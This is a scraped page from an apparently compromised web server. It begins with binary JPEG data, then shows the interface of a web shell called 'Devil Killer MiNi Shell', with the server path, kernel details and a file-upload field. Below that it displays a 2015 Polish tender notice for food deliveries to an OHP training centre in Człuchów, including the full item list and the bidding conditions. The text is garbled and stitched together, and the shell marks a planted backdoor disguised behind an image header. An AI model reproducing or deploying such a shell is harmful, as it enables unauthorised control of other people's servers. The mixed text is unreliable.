JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20150901/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20150901/128905-N-2015.html

<p class="kh_header"><b>Gdańsk: Bezgotówkowa dostawa artykułów żywnościowych dla OSiW w Człuchowie w  2016 r.</b><br>
<b>Numer ogłoszenia: 128905 - 2015; data zamieszczenia: 01.09.2015</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b>
<!--zamówienia publicznego.</p>-->
<table class="text2">
<tr><td style="border: solid 1px; width:15px black; text-align: center;"><b>V</b></td>
<td>zamówienia publicznego</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>zawarcia umowy ramowej</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>ustanowienia dynamicznego systemu zakupów (DSZ)</td></tr>
</table>


<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Ochotnicze Hufce Pracy - Pomorska Wojewódzka Komenda , ul. J. Uphagena 27, 80-237 Gdańsk, woj. pomorskie, tel. 58 3017916, faks 58 3017916.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> http://www.pomorska.ohp.pl/  http://pomorskawkohp.bip.gov.pl/</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: instytucja rynku pracy.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Bezgotówkowa dostawa artykułów żywnościowych dla OSiW w Człuchowie w  2016 r..</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> -Przedmiotem zamówienia jest sukcesywna bezgotówkowa dostawa artykułów żywnościowych dla OSiW w Człuchowie od 1 stycznia 2016 r.  do dnia 31 grudnia 2016 roku do: Ośrodka Szkolenia i Wychowania w Człuchowie, ul. Kusocińskiego 4. 
-Przedmiot zamówienia podzielono na 17 zadań częściowych:
Zadanie	1. owoce świeże
Zadanie	2. owoce przetworzone
Zadanie	3. warzywa świeże
Zadanie	4. warzywa przetworzone 
Zadanie	5. mrożonki
Zadanie	6. jaja
Zadanie	7. mięso i produkty mięsne
Zadanie	8. drób
Zadanie	9. wędliny i produkty wędliniarskie
Zadanie	10. pasztety i konserwy
Zadanie	11. ryby i przetwory
Zadanie	12. pieczywo i ciasto
Zadanie	13. produkty skrobi 
Zadanie	14 produkty spożywcze różne
Zadanie	15 oleje i tłuszcze roślinne
Zadanie	16 produkty mleczarskie
Zadanie	17 napoje
-Dostawa będzie realizowana cyklicznie transportem Wykonawcy i na jego koszt do Ośrodka Szkolenia i Wychowania w Człuchowie, ul. Kusocińskiego 4 (dokładne miejsce na terenie OSiW Człuchów wskazane będzie przez Zamawiającego po podpisaniu umowy).
-Dostawca realizuje dostawy na własny koszt, transportem przystosowanym do tego celu i spełniającym niezbędne wymagania określone przepisami prawa obowiązującymi w tym zakresie. 
-Każdy z artykułów powinien być dostarczony w wymaganych opakowaniach. Każdorazowa dostawa będzie odbywać się na podstawie wcześniejszego zapotrzebowania określającego dokładną godzinę dostarczenia, datę  ilość, rodzaj asortymentu, złożonego pisemnie, faksem  lub telefonicznie. 
-Cykliczne dostawy  będą realizowane jak następuje:  
-Zamawiający powiadomi telefonicznie lub pisemnie lub faksem Wykonawcę, o każdej dostawie oraz wskaże zamawiane artykuły z podaniem ilości. Dostawy będą realizowane od poniedziałku do niedzieli w godzinach od  5.00 do   14.00, na podstawie zamówienia cząstkowego, złożonego pisemnie, faksem lub telefonicznie.
-Artykuły muszą spełniać normy jakościowe oraz muszą być dostarczone w ich początkowym okresie gwarancji.
-Wykonawca powinien zachować odpowiednie warunki  transportu i przechowywania dostarczanego towaru. Każda dostawa artykułów wymagającego załączenia handlowego dokumentu identyfikacyjnego musi posiadać taki dokument. 
-Wykonawca użyczy nieodpłatnie ewentualnie potrzebnych pojemników przy każdorazowej dostawie artykułów do siedziby Zamawiającego na okres do następnej dostawy.
-Zamawiający zastrzega sobie prawo zamawiania mniejszej ilości towaru niż określona w ofercie.
-Wykonawcy nie przysługują wobec Zamawiającego roszczenia odszkodowawcze z tytułu zmniejszenia zamówienia. Wykonawcy będzie przysługiwało jedynie wynagrodzenie za zrealizowane dostawy bez naliczania kar umownych w razie zmniejszenia ilości dostaw.
-W trakcie realizacji zamówienia Zamawiający zastrzega sobie możliwość zamiany proporcji ilościowych poszczególnego asortymentu w stosunku do podanego w formularzu ofertowym. 
-Wykonawca ma obowiązek uznania reklamacji jakości i ilości dostarczanych artykułów i      dostarczenia nowej partii artykułów do siedziby  Zamawiającego  w dniu złożenia reklamacji.
-Do składania zamówień Zamawiający upoważni wybranego pracownika.
-W przypadku niedostarczenia towaru w wyznaczonym terminie i czasie lub dostarczenia towaru niezgodnie ze złożonym zapotrzebowaniem, Zamawiający zastrzega sobie prawo do zakupu niedostarczonego towaru, a kosztami zakupu (fakturą Vat) obciąży Wykonawcę. Zamawiający powiadomi o tym fakcie Wykonawcę telefonicznie i na piśmie.
-Jeżeli w opisie przedmiotu zamówienia znajduje się jakikolwiek znak towarowy, patent czy pochodzenie - należy przyjąć, że Zamawiający podał taki opis ze wskazaniem na typ i dopuszcza składanie rozwiązań równoważnych o parametrach techniczno eksploatacyjno użytkowych nie gorszych niż te, podane pod pojęciem typu. 
-Wykonawca ma obowiązek wystawiać faktury oddzielne na każde zamówienie cząstkowe.
-Zamawiający zastrzega sobie możliwość  zastosowania prawa opcji, tj. możliwość zmniejszenia ilości poszczególnych rodzajów artykułów żywnościowych w stosunku do podanych w formularzu cenowym. Maksymalny zakres przedmiotu zamówienia może zostać pomniejszony o nie więcej niż 90 % ogólnej wartości tzn. zostanie zrealizowany w co najmniej 10 % wartości zamówienia.

arbuz	kg	50
banany	kg	110
brzoskwinie	kg	60
cytryny	kg	20
czereśnie	kg	5
gruszki	kg	30
jabłka	kg	230
kiwi	kg	10
kiwi	szt	35
nektaryny	kg	20
mandarynki	kg	60
pomarancza	kg	60
pomarańcza siatka	kg	60
truskawki	kg	20
wisnie	kg	5

ananas konserwowany 565g	szt	60
brzoskwinie kons. 820g	szt	30
Dżem  słoik 270 ml	szt	120
kompot  0,9l	szt	8
kompot wiśniowy 0,9 l	szt	8
sok owocowy 2l ( różne smaki - pomarańczowy, grejfrut, jabułko, cz. Pożeczka, mix itp..	szt	30
sok owocowy 1l( różne smaki- pomarań, gruszka, wiśnia, grejfrut, mix.itp.)	szt	20
sok  typu owocowo, warzywon- owocowe( marchew-trusk-banan,marchew-malina-banan, marchew-banan, itp..) 220ml	szt	200
syrop owocowy 0,5l	l	150
syrop owocowy 1l	l	10
rodzynki suszone 100g	szt	10

burak młody	kg	25
burak	kg	300
brokuł	szt	5
cebula	kg	200
cebula młoda	kg	20
cebula czerwona	kg	5
czosnek	kg	5
fasola jaś 0,5kg	szt	50
fasola drobna 0,5 kg	szt	20
fasola szparagowa	kg	10
groch łuskany	kg	30
kapusta czerwona	kg	50
kapusta młoda	szt	100
kapusta	kg	300
kapusta pekińska	kg	150
kapusta pekińska	szt	50
kapusta włoska	kg	10
kalafior	szt	5
koper	szt	50
koper duży	szt	5
marchew młoda	kg	80
marchew myta	kg	200
ogórek gruntowy	kg	20
ogórek świeży	kg	80
papryka świeża	kg	20
pietruszka korzeń	kg	100
pomidor	kg	100
por	szt	30
por	kg	50
rzodkiewka pęczki	szt	30
sałata	szt	10
sałata dekoracyjna	szt	10
seler	kg	100
seler naciowa	szt	5
szczypiorek	szt	30
zielenina natka	szt	50
ziemniaki młode	kg	500
ziemniaki	kg	2000

chrzan tarty 190g	szt	30
cebulka konserwowa 300g	szt	5
fasolka czerwona konserw.400	szt	10
groszek konserwowy 400g	szt	50
groszek z marchewką 0,9l	szt	8
kapusta kiszona 	kg	60
koncentrat pomidorowy 0,9l	szt	40
kukurydza konserwowa 0,4 l	szt	50
kukurydza kons. 0,9 l	szt	10
oliwki 200ml	szt	3
ogórki kiszone 	kg	60
ogórki małosolne	kg	10
ogórki konserwowe 0,9l	szt	50
papryka konserwowa 0,9l	szt	24
pieczarka	kg	20
pieczarka konserwowa 0,9l	szt	30
pieczarka solona 0.9	szt	8
szczaw konserwowy 0,9l	szt	24

brukselka mroż 	kg	20
fasolka szparagowa	kg	5
Frytki 	kg	5
groszek mrozony	kg	5
kalafior mroż	kg	30
marchew kostka mroż	kg	50
marchew z groszkiem mroż	kg	25
mieszanka kompotowa	kg	5
pizza 300g	szt	50
pyzy z mięsem  	kg	30
pyzy z owocami (knedle)	kg	10
szpinak	kg	5
truskawki mrozone	kg	5
warzywa na patelnię	kg	5
warzywa na pat.chinskie	kg	5
zapiekanka 200g	szt	41
zupa wiosenna	kg	30

jaja	szt	3000

boczek świeży	kg	15
golonka wieprz b/k	kg	5
golonka wiep z kością	kg	5
karkówka wieprz b/k	kg	45
karkówka wieprz z/k	kg	5
kości wieprzowe	kg	30
łopatka b/k	kg	100
łopatka z kością	kg	10
mięso gulaszowe	kg	30
polędwica wieprzowa (Mięso)	kg	2
schab wiep b/k	kg	40
schab wiep z/k	kg	5
słonina	kg	10
szynka wiep b/k	kg	20
wątroba wieprzowa	kg	25
wołowina zrazowa	kg	5
żeberka wiep	kg	30

ćwiartki tylne drobiowe	kg	10
filet drobiowy	kg	20
filet z piersi kurczaka	kg	150
korpusy drobiowe(grzbiety)	kg	400
serca drobiowe	kg	7
wątroba drobiowa	kg	35
udka	kg	400
żołądki drobiowe	kg	7

baleron wieprzowy	kg	5
boczek wędzony gotowany	kg	3
boczek wędzony surowy	kg	3
boczek  rolada	kg	1
kabanosy typu leśne lub równoważne	kg	5
kiełbasa biała parzona	kg	5
kiełbasa biała  surowa	kg	5
kiełbasa codzienna lub równowazna	kg	10
kiełbasa golonkowa	kg	20
kiełbasa śląska lub równowazna	kg	10
kiełbasa toruńska lub równowazna	kg	40
kiełbasa typu ogniskowa lub równoważna	kg	40
kiełbasa piwna	kg	15
kiełbasa szynkowa	kg	3
kiełbasa zwyczajna	kg	10
kiełbasa z weka lub równoważna	kg	20
krakowska	kg	3
metka cebulowa	szt	10
metka łososiowa	kg	30
metka inna typu wiejska lub równowazna	kg	10
mielonka  wędlina	kg	30
mielonka z warzywami	kg	10
mielonka śniadaniowa lub równowazna	kg	40
mortadela	kg	5
ogonówka	kg	5
parówka hot-dog drobiowa	kg	10
parówka foli	kg	5
parówka	kg	60
pasztetowa 	kg	20
pasztetowa  śmietankowa lub równowazna	kg	20
pasztet drobiowy	kg	20
pierś z kurczaka wędlina	kg	3
polędwica drobiowa	kg	20
polędwica drobiowa lux	kg	5
polędwica sopocka drobiowalub równowazna	kg	5
polędwica indyk	kg	10
polędwica wieprz.(wędlina)	kg	1
przysmak w konserwie lub równowazny	kg	30
salami	kg	3
serdelki	kg	15
smaczek konserwowy lub równowazny	kg	30
szynka drobiowa	kg	15
szynka mielona	kg	25
szynka konserwowa	kg	5
szynka tostowa	kg	5
Szynkowa	kg	15
szynka typu szynka żołnierska lub równowazna	kg	20
szynka z warzywami	kg	15
szynkówka kiełbasa	kg	10
tyrolska lub równowazna	kg	10
wędlina z warzywami	kg	30
żywiecka	kg	5

gulasz angielski 120g	szt	25
pasztet131 g koperek majer. papryka pieczar/ szt	100
przysmak śniadaniowy 130g	szt	50
przysmak śniadaniowy 300g	szt	25
turystyczna  135g	szt	50
turystyczna 300g	szt	25
tyrolska 135g	szt	50
tyrolska 300g	szt	25

filet z mintaja	kg	31
matijas	kg	22
paluszki rybne	kg	15
panga	kg	20
paprykarz szczeciński 156g	szt	35
szprot w pomidorach 170g	szt	35
tunczyk w oleju 170 g	szt	35
śledź świeży filet	kg	10
śledź w pomidorach 170 g	szt	35

chleb krojony pszenny 0,6 kg	szt	2500
ciastka drożdżowe 100g	szt	35
ciasta różne	kg	5
bułki pszenne100g	szt	70
bułki 50g	szt	1000
bułki hamburger	szt	35
rogal 100g	szt	35
pączki 70g	szt	70
ciastka francuskie 60 g	szt	70

kasza manna	kg	20
kasza jęczm. drobna	kg	5
kasza jęczm. Średnia	kg	50
kasza pęczak	kg	10
mąka pszenna typu 500	kg	20
mąka pszenna typu 450	kg	100
mąka ziemiaczna	kg	40
płatki owsiane  0,5 kg	kg	20
płatki kukurydz. 250G	szt	20
platki kukur. 500 g	szt	50
platki kuku.kakaowe 250g	szt	20
platki kukur.kuleczki  500g	szt	50
płatki  kukurydziane z rodzynkami itp.250g	szt	10
ryż 4 100g	szt	10
ryż 1kg	kg	60

baton 55g	szt	50
baton 60g	szt	50
barszcz biały 66g	szt	20
barszcz czerwony 220ml	szt	10
budyń 75g	szt	50
bułka tarta 500g	szt	60
chrupki kukurydziane 130g	szt	45
ciastka w polewie	kg	2
ciastka kruche	kg	2
ciastka typy pierniki	kg	2
ciastka typu wafelki	kg	4
Ciastka-rolada  300g	szt	3
cukier	kg	180
cukier puder  400g	szt	10
cukier waniliowy 20g	szt	40
cukierki czekoladowe	kg	2
cukierki typu krówki	kg	2
cukierki typu szklaki	kg	2
cukierki owocowe	kg	2
cynamon 20g	szt	20
czekolada z orzechami 100g	szt	15
czekolada mleczna 100g	szt	20
czipsy 130g	szt	35
drożdże 100g	szt	20
galaretka owocowa 90g	szt	50
herbata expres 100 szt	szt	40
herbata expres 40 szt	szt	5
herbata expr. Mietowa 25szt	szt	2
hebata expres owocowa 25szt	szt	2
herbata granulowana 100g	szt	2
herbata owoc.rozpusz gran.100g	szt	5
herbata zielona expre25szt	szt	2
jarzynka 200g	szt	30
Jarzynka 0,5 kg	szt	12
Kawa zboż expr.35szt	szt	10
kawa rozpuszczalna zboż 200g	szt	10
kawa rozpusz.naturalna100g	szt	2
kawa typy capucino  lub równoważna 125g	szt	3
kawa naturalna mielona 500g lub równoważna	szt	3
kakao rozpuszczalne 300g	szt	40
keczup 500g	szt	50
kisiel  50g	szt	65
kminek 20g	szt	25
krem czekoladowy 200g	szt	200
krem czekoladowy 400g	szt	20
krem czekolad.orzechowy 350g	szt	20
kwasek cytrynowy 20g	szt	50
liść laurowy 20g	szt	25
lizak kulka 15g	szt	35
lizak 15g	szt	35
lizak typu serduszko 	szt	35
magi w plynie 1 l	szt	6
mak -puszka 500g	szt	3
makaron nitki  0.5 kg	szt	20
makaron gniazda 1kg	szt	20
makar. gniaz. 500g 	szt	30
makaron łazanka  500g	szt	30
makaron rurki 1 kg	szt	10
makaron paczka 500g	szt	20
makaron świderki 0,5kg typu lubella	szt	20
makaron świderki 1kg	szt	30
makaron spagetti 0,5kg	szt	30
makaron zacierka  250g	szt	40
majeranek 20g	szt	40
majeranek 150g	szt	10
majonez   700g  do sałatek	szt	10
majonez 900g  do sałatek	szt	20
mikołaj czekoladowy 60g	szt	50
miód sztuczny sloik250g	szt	20
miód sztuczny 	kg	1
Miód naturalny słoik 250g	szt	5
musztarda  190g	szt	40
Ocet 10% 500ml.	szt	50
paluszki solone 70g	szt	35
paluszki -cebulowe,kminkowe, paprykowe itp.70g	szt	35
papryka mielona 20g	szt	50
pieprz mielony 20g	szt	100
pieprz w ziarnkach 20g	szt	10
pieprz ziolowy 20g	szt	25
polewa do lodów 200g	szt	5
proszek do pieczenia 30 g	szt	30
przyprawa gyros 20g	szt	20
przyprawa do bigosu 0,3	szt	25
przyprawa do grilla 20g	szt	30
przyprawa do kurczaka 30g	szt	60
przyprawa do ryb 20g	szt	40
rosół drobiowy słoik 190g	szt	10
rosół drobiowy kost.120g	szt	10
soda spożywcza 80g	szt	5
sos chili 250	szt	10
sos czosnkowy 250ml	szt	10
sos do deserów 1 l	szt	5
sos do hamburgerow 880g	szt	3
sos do spagetti słoik  450g	szt	12
sos mix koper-zioł, włoski itp.9g	szt	50
sos słodko-kwaśny  500g	szt	30
sos sojowy 0,85	szt	5
sól	kg	40
sól peklowa	szt	4
wafelek duży(wafel z kremem typu murzynek) 60g	szt	50
wafelek mały(wafel z kremem typu murzynek) 35g	szt	50
wafelek w polewie 50g	szt	50
wafelek b/polewy typu grzesiek 39g	szt	50
warzywko 200g	szt	30
warzywko 500g	szt	10
Warzywko 1 kg	szt	5
wiórki kokosowe 25g	szt	10
zestaw świateczny (np.czelolada, baton, mikołaj)250g	szt	30
zestaw świąeczny(np. Czekolada, zajączek, baton)	szt	30
ziele angielskie 60g	szt	25
zupki typu chińska(ostra,łagodna rosołowa itp.) 70g	szt	15
zupki typu chiska(rosołowa-ostra lagodna,krabowa itp.)	szt	20
zelatyna 50g	szt	31
żurek w butelce 500	szt	20
zurek w proszku 66g	szt	40

margaryna z masłem 0,5 kg	szt	500
margaryna  0,5 kg	szt	50
masło roślinne 200g	szt	30
oliwa z oliwek 1 l	szt	6
olej 1l	szt	200
smalec	kg	2
smalec 200g	szt	10

Deser mleczny/owocowy  150g	szt	200
deser 6x 55g	opk	50
jogurt pitny150g	szt	150
jogurt  ze zbożami/musli 150g	szt	50
jogurt 150g	szt	600
jogurt 150g	szt	600
masło  200G	szt	25
Mleko UHT 2  1l	szt	100
Mleko UHT 3,2% 1l	szt	300
serek grani 0,180	szt	100
serek homogenizowany 150g	szt	100
serek kanapk. twarożk. 180 G	szt	100
ser twarogowy 200g	szt	50
set topiony kostka100g	szt	180
ser topiony -kiełbaski 100g	szt	180
ser top. Zegar200g	szt	45
ser topiony zegar 160g	kg	45
ser wędzony	kg	10
ser edamski	kg	8
ser gouda	kg	8
ser kaszub	kg	5
ser królewski	kg	4
ser morski	kg 5
ser salami	kg	10
śmietanka 18% 0,45 l	szt	50
śmietanka 30% 0,5 l	szt	50

napoje gazowane 1,5 l	szt	45
napoje niegazowane 1,5 l	szt	45
napój gazowany 2l	szt	10
napój n/g 2 l	szt	10
napój energet 0,25 l	szt	45
woda mineralna 0,5 gaz	szt	50
woda 0,5 n/g	szt	100
woda mineralna n/g 1,5 l	szt	25
woda mineralna g 1,5 l	szt	25.</p>
<p><b>II.1.5)
<table class="text2">
<tr><td style="border: solid 1px black; width:15px; text-align: center;"><b>&nbsp;</b></td>
<td><b>przewiduje się udzielenie zamówień uzupełniających</b></td></tr>
</table>                            
</b></p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li>
<li></li></ul>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 15.33.24.00-8, 15.30.00.00-1, 15.50.00.00-3, 15.89.80.00-9, 15.43.00.00-1, 03.21.00.00-6, 15.41.00.00-5, 15.13.10.00-5, 15.33.11.70-9, 03.22.00.00-9, 15.33.24.10-1, 15.22.00.00-6, 15.86.00.00-4, 15.87.00.00-7, 03.14.25.00-3, 15.30.00.00-1, 15.81.00.00-9, 15.00.00.00-8, 15.80.00.00-6, 15.13.11.10-9, 15.13.11.20-2.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 17.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.12.2016.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> 1.	Zamawiający odstępuje od żądania wadium w niniejszym postępowaniu.</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie. Zamawiający dokona oceny spełniania warunków udziału w postępowaniu w tym zakresie na podstawie oświadczenia o spełnianiu warunków udziału w postępowaniu.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie. Zamawiający dokona oceny spełniania warunków udziału w postępowaniu w tym zakresie na podstawie oświadczenia o spełnianiu warunków udziału w postępowaniu.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie. Zamawiający dokona oceny spełniania warunków udziału w postępowaniu w tym zakresie na podstawie oświadczenia o spełnianiu warunków udziału w postępowaniu.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie. Zamawiający dokona oceny spełniania warunków udziału w postępowaniu w tym zakresie na podstawie oświadczenia o spełnianiu warunków udziału w postępowaniu.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie. Zamawiający dokona oceny spełniania warunków udziału w postępowaniu w tym zakresie na podstawie oświadczenia o spełnianiu warunków udziału w postępowaniu.</p>
</li></ul></li></ul>
